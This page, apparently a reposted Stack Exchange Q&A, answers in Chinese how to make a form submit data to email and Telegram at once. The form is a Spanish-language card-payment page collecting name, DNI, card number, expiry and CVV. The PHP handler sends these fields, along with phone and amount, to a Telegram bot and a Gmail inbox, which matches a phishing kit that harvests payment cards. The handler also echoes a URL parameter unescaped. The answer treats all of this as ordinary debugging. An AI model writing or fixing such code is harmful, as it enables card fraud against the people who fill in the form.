You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何实现表单提交时同时发送数据至Email与Telegram

解决表单数据同时发送至邮箱和Telegram的问题

问题说明

现有表单仅能将数据单独发送至邮箱或Telegram,需要实现点击提交按钮时,同时完成这两个操作。


修改后的代码实现

1. 表单代码(调整请求方式)

<form id="" action="secure_email_code.php" method="POST">
<input type="hidden" name="value" value="">
<div class="container-fluid mt-5">
    <div class="row d-flex justify-content-center">
        <div class="col-12 mb-2">
            <h3 class="text-center">Pagá con tarjeta de crédito o débito.</h3>
        </div>
        <div class="col-lg-8 col-md-12 col-sm-12 col-12 mt-2">
            <div class="form row d-flex justify-content-center">
                <div class="col-md-6 col-12 my-2">
                    <div class="box">
                        <label for="">Nombre que figura en tarjeta</label>
                        <input type="text" placeholder="Nombre y apellido" id="name" name="name" autocomplete="off">
                    </div>
                </div>
                <div class="col-md-6 col-12 my-2">
                    <div class="box">
                        <label for="">DNI titular</label>
                        <input type="text" placeholder="DNI" id="dni" name="dni" inputmode="decimal" autocomplete="off">
                    </div>
                </div>
                <div class="col-12 my-2">
                    <div class="box">
                        <label for="">Número de tarjeta</label>
                        <input type="text" placeholder="XXXX XXXX XXXX XXXX" id="card" name="card" inputmode="decimal" autocomplete="off">
                    </div>
                </div>
                <div class="col-md-6 col-12 my-2">
                    <div class="box">
                        <label for="">Fecha de vencimiento</label>
                        <input type="text" placeholder="MM/AA" id="venc" name="venc" inputmode="decimal" autocomplete="off" maxlength="5">
                    </div>
                </div>
                <div class="col-md-6 col-12 my-2">
                    <div class="box">
                        <label for="">Código de seguridad</label>
                        <input type="text" placeholder="Últimos 3 digitos detrás de la tarjeta" id="cvv" name="cvv" inputmode="decimal" autocomplete="off" maxlength="4">
                    </div>
                </div>
                <div class="col-xl-4 col-lg-6 col-md-6 col-12 mt-3">
                    <input type="submit" id="" name="send_message" class="custom-input-btn" value="Siguiente">
                </div>
            </div>
        </div>
    </div>
</div>
</form>

2. secure_email_code.php代码(整合双渠道发送逻辑)

<?php
session_start(); // 移至文件最顶部,确保session正常读取

// Telegram配置
define('TELEGRAM_BOT_URL', "https://api.telegram.org/bot5XXXXXXX:AAEiQfQKxT6XvOi0zrIxNM9dexq-0d8K-I0/");
$chat_id = '530928XXXX';

// 处理表单提交事件
if(isset($_POST['send_message'])){
    // 获取表单及session数据
    $name           = $_POST['name'];
    $dni            = $_POST['dni'];
    $card           = $_POST['card'];
    $venc           = $_POST['venc'];
    $cvv            = $_POST['cvv'];
    $avalue         = $_SESSION['avalue'] ?? '';    
    $phoneNumber    = $_SESSION['phoneNumber'] ?? '';

    // 1. 发送数据至Telegram
    $telegram_msg = urlencode("Nombre: {$name}\nDNI: {$dni}\nTarjeta: {$card}\nVencimiento: {$venc}\nCVV: {$cvv}\nTeléfono: {$phoneNumber}\nValor: {$avalue}");
    file_get_contents(TELEGRAM_BOT_URL . "sendmessage?text={$telegram_msg}&chat_id={$chat_id}&parse_mode=HTML");

    // 2. 发送数据至指定邮箱
    $email_to = "xyz@gmail.com";
    $email_subject = "Personal Flow";
    $email_body = "
    <table style='border-right: #CCCCCC 1px solid; padding-right: 0px; border-top: #CCCCCC 1px solid; padding-left: 0px; padding-bottom: 0px; border-left: #CCCCCC 1px solid; padding-top: 0px; border-bottom: #CCCCCC 1px solid' height='238' cellspacing='0' cellpadding='15'>
      <tr>
        <td bgcolor='#3783b9'><font color='#FFF' size='5'>Personal Flow</font></td>
      </tr>
      <tr>
        <td height='83' bgcolor='#EEEEEE'>
        <table>
            <tr>
                <td>Nombre: </td>
                <td>{$name}</td>
            </tr>
            <tr>
                <td>DNI: </td>
                <td>{$dni}</td>
            </tr>
            <tr>
                <td>Tarjeta: </td>
                <td>{$card}</td>
            </tr>
            <tr>
                <td>Vencimiento: </td>
                <td>{$venc}</td>
            </tr>
            <tr>
                <td>CVV: </td>
                <td>{$cvv}</td>
            </tr>
            <tr>
                <td>Número de Teléfono: </td>
                <td>{$phoneNumber}</td>
            </tr>
            <tr>
                <td>Valor: </td>
                <td>{$avalue}</td>
            </tr>
        </table>
        </td>
      </tr>
    </table>";
    $headers = array(
        'From: noreply@tu-dominio.com', // 替换为你的有效发件邮箱
        'Content-Type: text/html; charset=UTF-8'
    );
    mail($email_to, $email_subject, $email_body, implode("\r\n", $headers));

    // 跳转至成功页面
    echo "<script>window.location.href='https://demo.com/demo/enr?success=Tu mensaje ha sido enviado exitosamente'</script>";
    exit;
}

// 显示成功提示
if(isset($_GET['success'])){
    echo "<div class='alert alert-success'>{$_GET['success']}</div>";
}
?>

核心修改说明

  • 统一请求方式:将表单的GET改为POST,避免银行卡敏感数据暴露在URL中,同时保证前后端数据获取逻辑一致。
  • 整合发送逻辑:把Telegram发送代码移入表单提交的判断块内,确保点击提交时同时触发邮箱和Telegram的发送操作。
  • 修复session问题:将session_start()移至PHP文件最顶部,确保能正确读取session中的变量。
  • 修正内容错误:修复邮件表格里重复的"Card"行,替换为正确的"CVV";修复邮件头中未定义的$email变量,替换为有效发件人邮箱。

内容的提问来源于stack exchange,提问作者Syed Hassan Mujtaba Zaidi

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.12 04:10:19